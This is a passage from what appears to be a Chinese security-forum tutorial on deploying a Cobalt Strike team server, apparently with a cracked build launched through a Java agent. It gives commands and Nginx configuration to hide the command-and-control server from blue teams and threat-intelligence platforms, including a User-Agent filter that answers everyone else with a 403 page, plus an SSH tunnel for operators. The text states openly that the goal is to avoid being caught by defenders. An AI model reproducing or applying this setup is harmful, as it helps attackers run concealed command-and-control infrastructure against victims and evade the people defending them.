  2. java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49228 -Dcobaltstrike.server_bindto=127.0.0.1 -Djavax.net.ssl.keyStore=./ts.store -Djavax.net.ssl.keyStorePassword=zsx147a -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cscdf_luckone.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en server.TeamServer $*
复制代码


启动测试
  1. ./teamserver 192.168.6.21 yyds123 jQuery_CS_4.5.profile
复制代码










4.反向代理
前面我们自定义了C2 侧写,但蓝队还是可以轻松地捕捉到我们,也有很多威胁情报平台都在持续搜集 C2 服务器,为了避免我们的C2 服务器被发现,需采取一些反制手段,反向代理是种不错的选择。

  1. 搜集了 Cobalt Strike 服务器的情报平台:
  2. https://otx.alienvault.com/pulse/62ffa9d924daca336eeaedea
  3. 从威胁情报猎人角度寻找 Cobalt Strike 基础设施的文章:
  4. https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b
复制代码


首先我们可以先把 CS服务器端口和监听器端口置于防火墙之后,这样情报平台就收集不到我们的 C2 服务器。然后通过反向代理,将CS监听器的 443 端口的流量反向转发到转发器 (Nginx,Apache2,Socat 等) 的运行端口 8443,最后再根据 URL、User Agent、Cookie等属性配置过滤规则。不符合条件的请求 ,将被重定向到不相干页面 (例如google.com、403页面、404页面)等。为了后续操作方便,我把生成的证书和密钥先分别放在/etc/ssl/certs/和/etc/ssl/private/目录下

  1. cp public.crt /etc/ssl/certs/
  2. cp private.key /etc/ssl/private/
复制代码


安装nginx
  1. sudo apt install nginx
复制代码


修改配置文件
  1. cp /etc/nginx/nginx.conf  /etc/nginx/nginx.conf.bak
  2. vim /etc/nginx/nginx.conf
复制代码


添加以下配置
  1. server {
  2.                  listen 8080;
  3.                  ssl on;
  4.                  ssl_certificate /etc/ssl/certs/public.crt;
  5.                  ssl_certificate_key /etc/ssl/private/private.key;
  6.                  server_name 192.168.6.21;
  7.                  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  8.                  location ~*/ {
  9.                          if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/517.36 (KHTML, like Gecko)") {
  10.                          return 403;
  11.                  }
  12.                  proxy_pass  https://localhost;
  13.                  }
  14.         }
复制代码


补充 :  ssl on;指令被弃用, 建议使用 listen 8080 ssl;

修改后的配置



重新加载nginx配置
  1. nginx -s reload
复制代码


如果报错



解决方案
  1. nginx -c /etc/nginx/nginx.conf
  2. nginx -s reload
复制代码


我们通过 Nginx 充当反向代理来保护CS 的监听端口所以我们在 CS 中的监听器这样设置,HTTP Port (C2) 为 Nginx 监听端口,HTTP Port (Bind) 为 Cobalt Strike 的监听器端口


测试 , 直接访问8080端口,出现了403页面我们前面配置了nginx.conf,UA头不是admin,所以跳转
  1. curl https://127.0.0.1:8080/123 -v -k
  2. curl https://127.0.0.1:8080/123 -v -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/517.36 (KHTML, like Gecko)"   # 设置 User-Agent: admin
复制代码






测试上线

补充 : 注意profile文件中的 useragent 要符合nginx的转发规则 , 否则是上线不了的

  1. set useragent "admin";
复制代码




5.ssl隧道
我们前面设置了只能本地(127.0.0.1)登入,所以我们可以使用ssh隧道链接

  1. ssh -L 本机端口:127.0.0.1:vps端口 root@192.168.6.21
  2.                 cs服务器ip
复制代码


示例

如果cs部署在你的vps上, 你可以在kali或者win11上运行

  1. ssh -L 8081:127.0.0.1:49228 root@192.168.6.21

  2. 就是一个端口转发, 把vps的49228转发到本地的8081上
复制代码


然后就可以在你的kali或者win11上连接cs客户端了



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:29 , Processed in 0.016264 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表